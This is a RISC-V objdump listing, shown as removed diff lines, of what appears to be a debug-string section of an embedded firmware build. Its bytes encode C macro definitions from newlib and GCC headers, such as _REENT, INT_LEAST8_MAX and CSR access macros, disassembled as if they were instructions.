-    1650:	6920                	flw	fs0,80(a0)
-    1652:	746e                	flw	fs0,248(sp)
-    1654:	5f00                	lw	s0,56(a4)
-    1656:	525f4353          	0x525f4353
-    165a:	5741                	li	a4,-16
-    165c:	535f 434f 454b      	0x454b434f535f
-    1662:	5354                	lw	a3,36(a4)
-    1664:	3720                	fld	fs0,104(a4)
-    1666:	0030                	addi	a2,sp,8
-    1668:	6f647473          	csrrci	s0,0x6f6,8
-    166c:	7475                	lui	s0,0xffffd
-    166e:	2820                	fld	fs0,80(s0)
-    1670:	525f 4545 544e      	0x544e4545525f
-    1676:	3e2d                	jal	11b0 <__stack_size+0x9b0>
-    1678:	735f 6474 756f      	0x756f6474735f
-    167e:	2974                	fld	fa3,208(a0)
-    1680:	5f00                	lw	s0,56(a4)
-    1682:	455f 5058 4d00      	0x4d005058455f
-    1688:	4f5a                	lw	t5,148(sp)
-    168a:	454e                	lw	a0,208(sp)
-    168c:	415f 5444 4d49      	0x4d495444415f
-    1692:	4345                	li	t1,17
-    1694:	504d                	c.li	zero,-13
-    1696:	7628                	flw	fa0,104(a2)
-    1698:	6c61                	lui	s8,0x18
-    169a:	2029                	jal	16a4 <__stack_size+0xea4>
-    169c:	7361                	lui	t1,0xffff8
-    169e:	206d                	jal	1748 <__stack_size+0xf48>
-    16a0:	6f76                	flw	ft10,92(sp)
-    16a2:	616c                	flw	fa1,68(a0)
-    16a4:	6974                	flw	fa3,84(a0)
-    16a6:	656c                	flw	fa1,76(a0)
-    16a8:	2820                	fld	fs0,80(s0)
-    16aa:	2220                	fld	fs0,64(a2)
-    16ac:	766d                	lui	a2,0xffffb
-    16ae:	6120                	flw	fs0,64(a0)
-    16b0:	2c31                	jal	18cc <__stack_size+0x10cc>
-    16b2:	2520                	fld	fs0,72(a0)
-    16b4:	3b30                	fld	fa2,112(a4)
-    16b6:	6d20                	flw	fs0,88(a0)
-    16b8:	2076                	fld	ft0,344(sp)
-    16ba:	3261                	jal	1042 <__stack_size+0x842>
-    16bc:	202c                	fld	fa1,64(s0)
-    16be:	3125                	jal	12e6 <__stack_size+0xae6>
-    16c0:	2220223b          	0x2220223b
-    16c4:	696c                	flw	fa1,84(a0)
-    16c6:	6120                	flw	fs0,64(a0)
-    16c8:	2c30                	fld	fa2,88(s0)
-    16ca:	3720                	fld	fs0,104(a4)
-    16cc:	6d20223b          	0x6d20223b
-    16d0:	6f7a                	flw	ft10,156(sp)
-    16d2:	656e                	flw	fa0,216(sp)
-    16d4:	3a20                	fld	fs0,112(a2)
-    16d6:	3a20                	fld	fs0,112(a2)
-    16d8:	2220                	fld	fs0,64(a2)
-    16da:	2272                	fld	ft4,280(sp)
-    16dc:	2828                	fld	fa0,80(s0)
-    16de:	6975                	lui	s2,0x1d
-    16e0:	746e                	flw	fs0,248(sp)
-    16e2:	745f3233          	0x745f3233
-    16e6:	7629                	lui	a2,0xfffea
-    16e8:	6c61                	lui	s8,0x18
-    16ea:	2c29                	jal	1904 <__stack_size+0x1104>
-    16ec:	2220                	fld	fs0,64(a2)
-    16ee:	2272                	fld	ft4,280(sp)
-    16f0:	2828                	fld	fa0,80(s0)
-    16f2:	6975                	lui	s2,0x1d
-    16f4:	746e                	flw	fs0,248(sp)
-    16f6:	745f3233          	0x745f3233
-    16fa:	2829                	jal	1714 <__stack_size+0xf14>
-    16fc:	7528                	flw	fa0,104(a0)
-    16fe:	6e69                	lui	t3,0x1a
-    1700:	3674                	fld	fa3,232(a2)
-    1702:	5f34                	lw	a3,120(a4)
-    1704:	2974                	fld	fa3,208(a0)
-    1706:	6176                	flw	ft2,92(sp)
-    1708:	3e6c                	fld	fa1,248(a2)
-    170a:	333e                	fld	ft6,488(sp)
-    170c:	2932                	fld	fs2,264(sp)
-    170e:	2029                	jal	1718 <__stack_size+0xf18>
-    1710:	203a                	fld	ft0,392(sp)
-    1712:	6122                	flw	ft2,8(sp)
-    1714:	2230                	fld	fa2,64(a2)
-    1716:	202c                	fld	fa1,64(s0)
-    1718:	6122                	flw	ft2,8(sp)
-    171a:	2231                	jal	1826 <__stack_size+0x1026>
-    171c:	202c                	fld	fa1,64(s0)
-    171e:	6122                	flw	ft2,8(sp)
-    1720:	2232                	fld	ft4,264(sp)
-    1722:	2920                	fld	fs0,80(a0)
-    1724:	4c4c003b          	0x4c4c003b
-    1728:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    172c:	494d                	li	s2,19
-    172e:	204e                	fld	ft0,208(sp)
-    1730:	2d28                	fld	fa0,88(a0)
-    1732:	4c4c                	lw	a1,28(s0)
-    1734:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    1738:	414d                	li	sp,19
-    173a:	2058                	fld	fa4,128(s0)
-    173c:	202d                	jal	1766 <__stack_size+0xf66>
-    173e:	4c31                	li	s8,12
-    1740:	294c                	fld	fa1,144(a0)
-    1742:	4100                	lw	s0,0(a0)
-    1744:	5f54                	lw	a3,60(a4)
-    1746:	4c4d5953          	0x4c4d5953
-    174a:	4e49                	li	t3,18
-    174c:	4f465f4b          	fnmsub.q	ft10,fa2,fs4,fs1,unknown
-    1750:	4c4c                	lw	a1,28(s0)
-    1752:	3420574f          	0x3420574f
-    1756:	5f00                	lw	s0,56(a4)
-    1758:	435f4353          	0x435f4353
-    175c:	4f4c                	lw	a1,28(a4)
-    175e:	535f4b43          	fmadd.d	fs6,ft10,fs5,fa0,rmm
-    1762:	4c45                	li	s8,17
-    1764:	4345                	li	t1,17
-    1766:	4954                	lw	a3,20(a0)
-    1768:	36204e4f          	fnmadd.q	ft8,ft0,ft2,ft6,rmm
-    176c:	0031                	c.nop	12
-    176e:	545f 535f 5a49      	0x5a49535f545f
-    1774:	5f45                	li	t5,-15
-    1776:	0020                	addi	s0,sp,8
-    1778:	5f5f 5349 5f4f      	0x5f4f53495f5f
-    177e:	49565f43          	fmadd.s	ft10,fa2,fs5,fs1,unknown
-    1782:	4c424953          	0x4c424953
-    1786:	2045                	jal	1826 <__stack_size+0x1026>
-    1788:	3032                	fld	ft0,296(sp)
-    178a:	3131                	jal	1396 <__stack_size+0xb96>
-    178c:	5f00                	lw	s0,56(a4)
-    178e:	4954                	lw	a3,20(a0)
-    1790:	454d                	li	a0,19
-    1792:	545f 445f 4345      	0x4345445f545f
-    1798:	414c                	lw	a1,4(a0)
-    179a:	4552                	lw	a0,20(sp)
-    179c:	2044                	fld	fs1,128(s0)
-    179e:	5f00                	lw	s0,56(a4)
-    17a0:	53474953          	0x53474953
-    17a4:	5445                	li	s0,-15
-    17a6:	545f 445f 4345      	0x4345445f545f
-    17ac:	414c                	lw	a1,4(a0)
-    17ae:	4552                	lw	a0,20(sp)
-    17b0:	2044                	fld	fs1,128(s0)
-    17b2:	5f00                	lw	s0,56(a4)
-    17b4:	655f 7078 726f      	0x726f7078655f
-    17ba:	6574                	flw	fa3,76(a0)
-    17bc:	2064                	fld	fs1,192(s0)
-    17be:	5f5f 7461 7274      	0x727474615f5f
-    17c4:	6269                	lui	tp,0x1a
-    17c6:	7475                	lui	s0,0xffffd
-    17c8:	5f65                	li	t5,-7
-    17ca:	285f 5f28 765f      	0x765f5f28285f
-    17d0:	7369                	lui	t1,0xffffa
-    17d2:	6269                	lui	tp,0x1a
-    17d4:	6c69                	lui	s8,0x1a
-    17d6:	7469                	lui	s0,0xffffa
-    17d8:	5f79                	li	t5,-2
-    17da:	285f 6422 6665      	0x66656422285f
-    17e0:	7561                	lui	a0,0xffff8
-    17e2:	746c                	flw	fa1,108(s0)
-    17e4:	2922                	fld	fs2,8(sp)
-    17e6:	2929                	jal	1c00 <__stack_size+0x1400>
-    17e8:	5f00                	lw	s0,56(a4)
-    17ea:	465f 544c 3233      	0x3233544c465f
-    17f0:	5f58                	lw	a4,60(a4)
-    17f2:	5045                	c.li	zero,-15
-    17f4:	4f4c4953          	0x4f4c4953
-    17f8:	5f4e                	lw	t5,240(sp)
-    17fa:	205f 2e32 3232      	0x32322e32205f
-    1800:	3430                	fld	fa2,104(s0)
-    1802:	3634                	fld	fa3,104(a2)
-    1804:	3430                	fld	fa2,104(s0)
-    1806:	3239                	jal	1114 <__stack_size+0x914>
-    1808:	3035                	jal	1034 <__stack_size+0x834>
-    180a:	30333133          	0x30333133
-    180e:	3038                	fld	fa4,96(s0)
-    1810:	3438                	fld	fa4,104(s0)
-    1812:	33363237          	lui	tp,0x33363
-    1816:	31363333          	0x31363333
-    181a:	3138                	fld	fa4,96(a0)
-    181c:	3436                	fld	fs0,360(sp)
-    181e:	3630                	fld	fa2,104(a2)
-    1820:	6532                	flw	fa0,12(sp)
-    1822:	312d                	jal	144c <__stack_size+0xc4c>
-    1824:	4636                	lw	a2,76(sp)
-    1826:	00783233          	sltu	tp,a6,t2
-    182a:	5f5f 4c46 3354      	0x33544c465f5f
-    1830:	5832                	lw	a6,44(sp)
-    1832:	485f 5341 495f      	0x495f5341485f
-    1838:	464e                	lw	a2,208(sp)
-    183a:	4e49                	li	t3,18
-    183c:	5449                	li	s0,-14
-    183e:	5f59                	li	t5,-10
-    1840:	205f 0031 415f      	0x415f0031205f
-    1846:	4554                	lw	a3,12(a0)
-    1848:	4958                	lw	a4,20(a0)
-    184a:	5f54                	lw	a3,60(a4)
-    184c:	455a4953          	0x455a4953
-    1850:	3320                	fld	fs0,96(a4)
-    1852:	0032                	c.slli	zero,0xc
-    1854:	535f 5f43 5f32      	0x5f325f43535f
-    185a:	4250                	lw	a2,4(a2)
-    185c:	4f4c5f53          	0x4f4c5f53
-    1860:	45544143          	0x45544143
-    1864:	3120                	fld	fs0,96(a0)
-    1866:	3631                	jal	1372 <__stack_size+0xb72>
-    1868:	4300                	lw	s0,0(a4)
-    186a:	28535253          	0x28535253
-    186e:	2c727363          	bgeu	tp,t2,1b34 <__stack_size+0x1334>
-    1872:	7372                	flw	ft6,60(sp)
-    1874:	2029                	jal	187e <__stack_size+0x107e>
-    1876:	7b28                	flw	fa0,112(a4)
-    1878:	7520                	flw	fs0,104(a0)
-    187a:	736e                	flw	ft6,248(sp)
-    187c:	6769                	lui	a4,0x1a
-    187e:	656e                	flw	fa0,216(sp)
-    1880:	2064                	fld	fs1,192(s0)
-    1882:	6f6c                	flw	fa1,92(a4)
-    1884:	676e                	flw	fa4,216(sp)
-    1886:	7220                	flw	fs0,96(a2)
-    1888:	3b64                	fld	fs1,240(a4)
-    188a:	6920                	flw	fs0,80(a0)
-    188c:	2066                	fld	ft0,88(sp)
-    188e:	5f28                	lw	a0,120(a4)
-    1890:	625f 6975 746c      	0x746c6975625f
-    1896:	6e69                	lui	t3,0x1a
-    1898:	635f 6e6f 7473      	0x74736e6f635f
-    189e:	6e61                	lui	t3,0x18
-    18a0:	5f74                	lw	a3,124(a4)
-    18a2:	2870                	fld	fa2,208(s0)
-    18a4:	7372                	flw	ft6,60(sp)
-    18a6:	2029                	jal	18b0 <__stack_size+0x10b0>
-    18a8:	2626                	fld	fa2,72(sp)
-    18aa:	2820                	fld	fs0,80(s0)
-    18ac:	6e75                	lui	t3,0x1d
-    18ae:	6e676973          	csrrsi	s2,0x6e6,14
-    18b2:	6465                	lui	s0,0x19
-    18b4:	6c20                	flw	fs0,88(s0)
-    18b6:	29676e6f          	jal	t3,77b4c <__stack_size+0x7734c>
-    18ba:	7228                	flw	fa0,96(a2)
-    18bc:	3c202973          	csrr	s2,0x3c2
-    18c0:	3320                	fld	fs0,96(a4)
-    18c2:	2932                	fld	fs2,264(sp)
-    18c4:	6120                	flw	fs0,64(a0)
-    18c6:	76206d73          	csrrsi	s10,0x762,0
-    18ca:	74616c6f          	jal	s8,18010 <__stack_size+0x17810>
-    18ce:	6c69                	lui	s8,0x1a
-    18d0:	2065                	jal	1978 <__stack_size+0x1178>
-    18d2:	2228                	fld	fa0,64(a2)
-    18d4:	72727363          	bgeu	tp,t2,1ffa <__stack_size+0x17fa>
-    18d8:	25206973          	csrrsi	s2,0x252,0
-    18dc:	2c30                	fld	fa2,88(s0)
-    18de:	2220                	fld	fs0,64(a2)
-    18e0:	2320                	fld	fs0,64(a4)
-    18e2:	20727363          	bgeu	tp,t2,1ae8 <__stack_size+0x12e8>
-    18e6:	2c22                	fld	fs8,8(sp)
-    18e8:	2520                	fld	fs0,72(a0)
-    18ea:	2231                	jal	19f6 <__stack_size+0x11f6>
-    18ec:	3a20                	fld	fs0,112(a2)
-    18ee:	2220                	fld	fs0,64(a2)
-    18f0:	723d                	lui	tp,0xfffef
-    18f2:	2822                	fld	fa6,8(sp)
-    18f4:	6472                	flw	fs0,28(sp)
-    18f6:	2029                	jal	1900 <__stack_size+0x1100>
-    18f8:	203a                	fld	ft0,392(sp)
-    18fa:	4b22                	lw	s6,8(sp)
-    18fc:	2822                	fld	fa6,8(sp)
-    18fe:	7372                	flw	ft6,60(sp)
-    1900:	2929                	jal	1d1a <__stack_size+0x151a>
-    1902:	6c65203b          	0x6c65203b
-    1906:	61206573          	csrrsi	a0,0x612,0
-    190a:	76206d73          	csrrsi	s10,0x762,0
-    190e:	74616c6f          	jal	s8,18054 <__stack_size+0x17854>
-    1912:	6c69                	lui	s8,0x1a
-    1914:	2065                	jal	19bc <__stack_size+0x11bc>
-    1916:	2228                	fld	fa0,64(a2)
-    1918:	72727363          	bgeu	tp,t2,203e <__stack_size+0x183e>
-    191c:	30252073          	csrs	medeleg,a0
-    1920:	202c                	fld	fa1,64(s0)
-    1922:	2022                	fld	ft0,8(sp)
-    1924:	72736323          	0x72736323
-    1928:	2220                	fld	fs0,64(a2)
-    192a:	202c                	fld	fa1,64(s0)
-    192c:	3125                	jal	1554 <__stack_size+0xd54>
-    192e:	2022                	fld	ft0,8(sp)
-    1930:	203a                	fld	ft0,392(sp)
-    1932:	3d22                	fld	fs10,40(sp)
-    1934:	2272                	fld	ft4,280(sp)
-    1936:	7228                	flw	fa0,96(a2)
-    1938:	2964                	fld	fs1,208(a0)
-    193a:	3a20                	fld	fs0,112(a2)
-    193c:	2220                	fld	fs0,64(a2)
-    193e:	2272                	fld	ft4,280(sp)
-    1940:	7228                	flw	fa0,96(a2)
-    1942:	3b292973          	csrrs	s2,pmpaddr2,s2
-    1946:	7220                	flw	fs0,96(a2)
-    1948:	3b64                	fld	fs1,240(a4)
-    194a:	7d20                	flw	fs0,120(a0)
-    194c:	0029                	c.nop	10
-    194e:	4c50                	lw	a2,28(s0)
-    1950:	4349                	li	t1,18
-    1952:	545f 5248 5345      	0x53455248545f
-    1958:	4f5f 4646 4553      	0x455346464f5f
-    195e:	2054                	fld	fa3,128(s0)
-    1960:	7830                	flw	fa2,112(s0)
-    1962:	3032                	fld	ft0,296(sp)
-    1964:	3030                	fld	fa2,96(s0)
-    1966:	3030                	fld	fa2,96(s0)
-    1968:	5000                	lw	s0,32(s0)
-    196a:	5254                	lw	a3,36(a2)
-    196c:	4944                	lw	s1,20(a0)
-    196e:	4646                	lw	a2,80(sp)
-    1970:	4d5f 5841 4c00      	0x4c0058414d5f
-    1976:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    197a:	4f4c                	lw	a1,28(a4)
-    197c:	474e                	lw	a4,208(sp)
-    197e:	4d5f 5841 5f20      	0x5f2058414d5f
-    1984:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
-    198a:	4f4c                	lw	a1,28(a4)
-    198c:	474e                	lw	a4,208(sp)
-    198e:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    1994:	5f00                	lw	s0,56(a4)
-    1996:	495f 544e 5f38      	0x5f38544e495f
-    199c:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    19a0:	6320                	flw	fs0,64(a4)
-    19a2:	5f00                	lw	s0,56(a4)
-    19a4:	434f4c43          	fmadd.d	fs8,ft10,fs4,fs0,rmm
-    19a8:	505f534b          	fnmsub.s	ft6,ft10,ft5,fa0,unknown
-    19ac:	5245                	li	tp,-15
-    19ae:	535f 4345 205f      	0x205f4345535f
-    19b4:	3031                	jal	11c0 <__stack_size+0x9c0>
-    19b6:	3030                	fld	fa2,96(s0)
-    19b8:	3030                	fld	fa2,96(s0)
-    19ba:	0030                	addi	a2,sp,8
-    19bc:	525f 4545 544e      	0x544e4545525f
-    19c2:	4d5f 5242 4f54      	0x4f5452424d5f
-    19c8:	535f4357          	0x535f4357
-    19cc:	4154                	lw	a3,4(a0)
-    19ce:	4554                	lw	a3,12(a0)
-    19d0:	7028                	flw	fa0,96(s0)
-    19d2:	7274                	flw	fa3,100(a2)
-    19d4:	2029                	jal	19de <__stack_size+0x11de>
-    19d6:	2828                	fld	fa0,80(s0)
-    19d8:	7470                	flw	fa2,108(s0)
-    19da:	2972                	fld	fs2,280(sp)
-    19dc:	3e2d                	jal	1516 <__stack_size+0xd16>
-    19de:	6e5f 7765 5f2e      	0x5f2e77656e5f
-    19e4:	6572                	flw	fa0,28(sp)
-    19e6:	6e65                	lui	t3,0x19
-    19e8:	2e74                	fld	fa3,216(a2)
-    19ea:	6d5f 7262 6f74      	0x6f7472626d5f
-    19f0:	735f6377          	0x735f6377
-    19f4:	6174                	flw	fa3,68(a0)
-    19f6:	6574                	flw	fa3,76(a0)
-    19f8:	0029                	c.nop	10
-    19fa:	5f5f 444c 4c42      	0x4c42444c5f5f
-    1a00:	445f 4345 4d49      	0x4d494345445f
-    1a06:	4c41                	li	s8,16
-    1a08:	445f 4749 5f5f      	0x5f5f4749445f
-    1a0e:	3320                	fld	fs0,96(a4)
-    1a10:	0036                	c.slli	zero,0xd
-    1a12:	45484353          	0x45484353
-    1a16:	5f44                	lw	s1,60(a4)
-    1a18:	5252                	lw	tp,52(sp)
-    1a1a:	3220                	fld	fs0,96(a2)
-    1a1c:	5f00                	lw	s0,56(a4)
-    1a1e:	705f 6972 746e      	0x746e6972705f
-    1a24:	3066                	fld	ft0,120(sp)
-    1a26:	696c                	flw	fa1,84(a0)
-    1a28:	6628656b          	0x6628656b
-    1a2c:	746d                	lui	s0,0xffffb
-    1a2e:	7261                	lui	tp,0xffff8
-    1a30:	69662c67          	0x69662c67
-    1a34:	7372                	flw	ft6,60(sp)
-    1a36:	7674                	flw	fa3,108(a2)
-    1a38:	7261                	lui	tp,0xffff8
-    1a3a:	7261                	lui	tp,0xffff8
-    1a3c:	00202967          	0x202967
-    1a40:	5f4c                	lw	a1,60(a4)
-    1a42:	6d74                	flw	fa3,92(a0)
-    1a44:	6e70                	flw	fa2,92(a2)
-    1a46:	6d61                	lui	s10,0x18
-    1a48:	4620                	lw	s0,72(a2)
-    1a4a:	4c49                	li	s8,18
-    1a4c:	4e45                	li	t3,17
-    1a4e:	4d41                	li	s10,16
-    1a50:	5f45                	li	t5,-15
-    1a52:	414d                	li	sp,19
-    1a54:	0058                	addi	a4,sp,4
-    1a56:	535f 5f43 4258      	0x42585f43535f
-    1a5c:	495f3553          	0x495f3553
-    1a60:	504c                	lw	a1,36(s0)
-    1a62:	4f5f3233          	0x4f5f3233
-    1a66:	4646                	lw	a2,80(sp)
-    1a68:	5f203233          	0x5f203233
-    1a6c:	565f4353          	0x565f4353
-    1a70:	4c495f37          	lui	t5,0x4c495
-    1a74:	3350                	fld	fa2,160(a4)
-    1a76:	5f32                	lw	t5,44(sp)
-    1a78:	3346464f          	fnmadd.d	fa2,fa2,fs4,ft6,rmm
-    1a7c:	0032                	c.slli	zero,0xc
-    1a7e:	5f5f 4c46 3354      	0x33544c465f5f
-    1a84:	5f32                	lw	t5,44(sp)
-    1a86:	4148                	lw	a0,4(a0)
-    1a88:	4e495f53          	0x4e495f53
-    1a8c:	4946                	lw	s2,80(sp)
-    1a8e:	494e                	lw	s2,208(sp)
-    1a90:	5954                	lw	a3,52(a0)
-    1a92:	5f5f 3120 4900      	0x490031205f5f
-    1a98:	544e                	lw	s0,240(sp)
-    1a9a:	4c5f 4145 5453      	0x545341454c5f
-    1aa0:	5f38                	lw	a4,120(a4)
-    1aa2:	414d                	li	sp,19
-    1aa4:	2058                	fld	fa4,128(s0)
-    1aa6:	5f5f 4e49 5f54      	0x5f544e495f5f
-    1aac:	454c                	lw	a1,12(a0)
-    1aae:	5341                	li	t1,-16
-    1ab0:	3854                	fld	fa3,176(s0)
-    1ab2:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    1ab8:	5f00                	lw	s0,56(a4)
-    1aba:	495f 4545 5f45      	0x5f454545495f
-    1ac0:	494c                	lw	a1,20(a0)
-    1ac2:	5454                	lw	a3,44(s0)
-    1ac4:	454c                	lw	a1,12(a0)
-    1ac6:	455f 444e 4149      	0x4149444e455f
-    1acc:	204e                	fld	ft0,208(sp)
-    1ace:	5f00                	lw	s0,56(a4)
-    1ad0:	465f 544c 4d5f      	0x4d5f544c465f
-    1ad6:	5841                	li	a6,-16
-    1ad8:	455f 5058 5f5f      	0x5f5f5058455f
-    1ade:	3120                	fld	fs0,96(a0)
-    1ae0:	3832                	fld	fa6,296(sp)
-    1ae2:	4700                	lw	s0,8(a4)
-    1ae4:	4950                	lw	a2,20(a0)
-    1ae6:	4f495f4f          	fnmadd.q	ft10,fs2,fs4,fs1,unknown
-    1aea:	5f46                	lw	t5,112(sp)
-    1aec:	4e45                	li	t3,17
-    1aee:	3020                	fld	fs0,96(s0)
-    1af0:	3378                	fld	fa4,224(a4)
-    1af2:	0038                	addi	a4,sp,8
-    1af4:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    1afa:	745f 7972 615f      	0x615f7972745f
-    1b00:	69757163          	bgeu	a0,s7,2182 <__stack_size+0x1982>
-    1b04:	6572                	flw	fa0,28(sp)
-    1b06:	725f 6365 7275      	0x72756365725f
-    1b0c:	65766973          	csrrsi	s2,0x657,12
-    1b10:	6c28                	flw	fa0,88(s0)
-    1b12:	296b636f          	jal	t1,b7da8 <__stack_size+0xb75a8>
-    1b16:	2820                	fld	fs0,80(s0)
-    1b18:	7628                	flw	fa0,104(a2)
-    1b1a:	2964696f          	jal	s2,47db0 <__stack_size+0x475b0>
-    1b1e:	3020                	fld	fs0,96(s0)
-    1b20:	0029                	c.nop	10
-    1b22:	5f5f 4343 535f      	0x535f43435f5f
-    1b28:	5055                	c.li	zero,-11
-    1b2a:	4f50                	lw	a2,28(a4)
-    1b2c:	5452                	lw	s0,52(sp)
-    1b2e:	5f5f5f53          	0x5f5f5f53
-    1b32:	4e49                	li	t3,18
-    1b34:	494c                	lw	a1,20(a0)
-    1b36:	454e                	lw	a0,208(sp)
-    1b38:	3120                	fld	fs0,96(a0)
-    1b3a:	5f00                	lw	s0,56(a4)
-    1b3c:	475f 554e 5f43      	0x5f43554e475f
-    1b42:	4156                	lw	sp,84(sp)
-    1b44:	4c5f 5349 2054      	0x205453494c5f
-    1b4a:	5f00                	lw	s0,56(a4)
-    1b4c:	725f 7369 7663      	0x76637369725f
-    1b52:	645f 7669 3120      	0x31207669645f
-    1b58:	5f00                	lw	s0,56(a4)
-    1b5a:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-    1b60:	736f6c63          	bltu	t5,s6,2298 <__stack_size+0x1a98>
-    1b64:	5f65                	li	t5,-7
-    1b66:	6572                	flw	fa0,28(sp)
-    1b68:	73727563          	bgeu	tp,s7,2292 <__stack_size+0x1a92>
-    1b6c:	7669                	lui	a2,0xffffa
-    1b6e:	2865                	jal	1c26 <__stack_size+0x1426>
-    1b70:	6f6c                	flw	fa1,92(a4)
-    1b72:	20296b63          	bltu	s2,sp,1d88 <__stack_size+0x1588>
-    1b76:	2828                	fld	fa0,80(s0)
-    1b78:	6f76                	flw	ft10,92(sp)
-    1b7a:	6469                	lui	s0,0x1a
-    1b7c:	2029                	jal	1b86 <__stack_size+0x1386>
-    1b7e:	2930                	fld	fa2,80(a0)
-    1b80:	5f00                	lw	s0,56(a4)
-    1b82:	4552                	lw	a0,20(sp)
-    1b84:	4e45                	li	t3,17
-    1b86:	5f54                	lw	a3,60(a4)
-    1b88:	43454843          	fmadd.d	fa6,fa0,fs4,fs0,rmm
-    1b8c:	49535f4b          	fnmsub.s	ft10,ft6,fs5,fs1,unknown
-    1b90:	4c414e47          	0x4c414e47
-    1b94:	425f 4655 7028      	0x70284655425f
-    1b9a:	7274                	flw	fa3,100(a2)
-    1b9c:	2029                	jal	1ba6 <__stack_size+0x13a6>
-    1b9e:	4200                	lw	s0,0(a2)
-    1ba0:	41425f43          	fmadd.s	ft10,ft4,fs4,fs0,unknown
-    1ba4:	4d5f4553          	0x4d5f4553
-    1ba8:	5841                	li	a6,-16
-    1baa:	3920                	fld	fs0,112(a0)
-    1bac:	0039                	c.nop	14
-    1bae:	5f5f 4c46 3354      	0x33544c465f5f
-    1bb4:	5832                	lw	a6,44(sp)
-    1bb6:	4d5f 5841 455f      	0x455f58414d5f
-    1bbc:	5058                	lw	a4,36(s0)
-    1bbe:	5f5f 3120 3230      	0x323031205f5f
-    1bc4:	0034                	addi	a3,sp,8
-    1bc6:	5f5f 4343 535f      	0x535f43435f5f
-    1bcc:	5055                	c.li	zero,-11
-    1bce:	4f50                	lw	a2,28(a4)
-    1bd0:	5452                	lw	s0,52(sp)
-    1bd2:	41575f53          	0x41575f53
-    1bd6:	4e52                	lw	t3,20(sp)
-    1bd8:	4e49                	li	t3,18
-    1bda:	00312047          	fmsub.s	ft0,ft2,ft3,ft0,rdn
-    1bde:	5f5f 4c46 3354      	0x33544c465f5f
-    1be4:	5f32                	lw	t5,44(sp)
-    1be6:	414d                	li	sp,19
-    1be8:	544e                	lw	s0,240(sp)
-    1bea:	445f 4749 5f5f      	0x5f5f4749445f
-    1bf0:	3220                	fld	fs0,96(a2)
-    1bf2:	0034                	addi	a3,sp,8
-    1bf4:	5f5f 4955 544e      	0x544e49555f5f
-    1bfa:	465f 5341 3854      	0x38545341465f
-    1c00:	545f 5059 5f45      	0x5f455059545f
-    1c06:	205f 6e75 6973      	0x69736e75205f
-    1c0c:	64656e67          	0x64656e67
-    1c10:	6920                	flw	fs0,80(a0)
-    1c12:	746e                	flw	fs0,248(sp)
-    1c14:	5300                	lw	s0,32(a4)
-    1c16:	495f 5253 4745      	0x47455253495f
-    1c1c:	6d28                	flw	fa0,88(a0)
-    1c1e:	2029                	jal	1c28 <__stack_size+0x1428>
-    1c20:	2828                	fld	fa0,80(s0)
-    1c22:	6d28                	flw	fa0,88(a0)
-    1c24:	2629                	jal	1f2e <__stack_size+0x172e>
-    1c26:	495f 4d46 2954      	0x29544d46495f
-    1c2c:	3d20                	fld	fs0,120(a0)
-    1c2e:	203d                	jal	1c5c <__stack_size+0x145c>
-    1c30:	495f 5246 4745      	0x47455246495f
-    1c36:	0029                	c.nop	10
-    1c38:	5346                	lw	t1,112(sp)
-    1c3a:	4c48                	lw	a0,28(s0)
-    1c3c:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
-    1c40:	465f 4853 4f4c      	0x4f4c4853465f
-    1c46:	5f004b43          	fmadd.q	fs6,ft0,fa6,fa1,rmm
-    1c4a:	4449                	li	s0,18
-    1c4c:	545f 445f 4345      	0x4345445f545f
-    1c52:	414c                	lw	a1,4(a0)
-    1c54:	4552                	lw	a0,20(sp)
-    1c56:	2044                	fld	fs1,128(s0)
-    1c58:	5f00                	lw	s0,56(a4)
-    1c5a:	465f 544c 3231      	0x3231544c465f
-    1c60:	5f38                	lw	a4,120(a4)
-    1c62:	414d                	li	sp,19
-    1c64:	5f58                	lw	a4,60(a4)
-    1c66:	3031                	jal	1472 <__stack_size+0xc72>
-    1c68:	455f 5058 5f5f      	0x5f5f5058455f
-    1c6e:	3420                	fld	fs0,104(s0)
-    1c70:	3339                	jal	197e <__stack_size+0x117e>
-    1c72:	0032                	c.slli	zero,0xc
-    1c74:	4e49                	li	t3,18
-    1c76:	5054                	lw	a3,36(s0)
-    1c78:	5254                	lw	a3,36(a2)
-    1c7a:	4d5f 5841 5f20      	0x5f2058414d5f
-    1c80:	495f 544e 5450      	0x5450544e495f
-    1c86:	5f52                	lw	t5,52(sp)
-    1c88:	414d                	li	sp,19
-    1c8a:	5f58                	lw	a4,60(a4)
-    1c8c:	005f 5f5f 5845      	0x58455f5f005f
-    1c92:	2850                	fld	fa2,144(s0)
-    1c94:	2978                	fld	fa4,208(a0)
-    1c96:	5f20                	lw	s0,120(a4)
-    1c98:	205f 2323 2078      	0x20782323205f
-    1c9e:	5f5f2323          	sw	s5,1510(t5) # 4c4955e6 <_data_lma+0x2c08f606>
-    1ca2:	4f00                	lw	s0,24(a4)
-    1ca4:	4e5f 4e4f 4c42      	0x4c424e4f4e5f
-    1caa:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
-    1cae:	465f 4f4e 424e      	0x424e4f4e465f
-    1cb4:	4f4c                	lw	a1,28(a4)
-    1cb6:	55004b43          	0x55004b43
-    1cba:	4e49                	li	t3,18
-    1cbc:	5f54                	lw	a3,60(a4)
-    1cbe:	454c                	lw	a1,12(a0)
-    1cc0:	5341                	li	t1,-16
-    1cc2:	3354                	fld	fa3,160(a4)
-    1cc4:	5f32                	lw	t5,44(sp)
-    1cc6:	414d                	li	sp,19
-    1cc8:	0058                	addi	a4,sp,4
-    1cca:	4e49                	li	t3,18
-    1ccc:	5f54                	lw	a3,60(a4)
-    1cce:	4146                	lw	sp,80(sp)
-    1cd0:	36315453          	0x36315453
-    1cd4:	4d5f 4e49 4900      	0x49004e494d5f
-    1cda:	544e                	lw	s0,240(sp)
-    1cdc:	465f 5341 3854      	0x38545341465f
-    1ce2:	4d5f 5841 5f20      	0x5f2058414d5f
-    1ce8:	495f 544e 465f      	0x465f544e495f
-    1cee:	5341                	li	t1,-16
-    1cf0:	3854                	fld	fa3,176(s0)
-    1cf2:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    1cf8:	5f00                	lw	s0,56(a4)
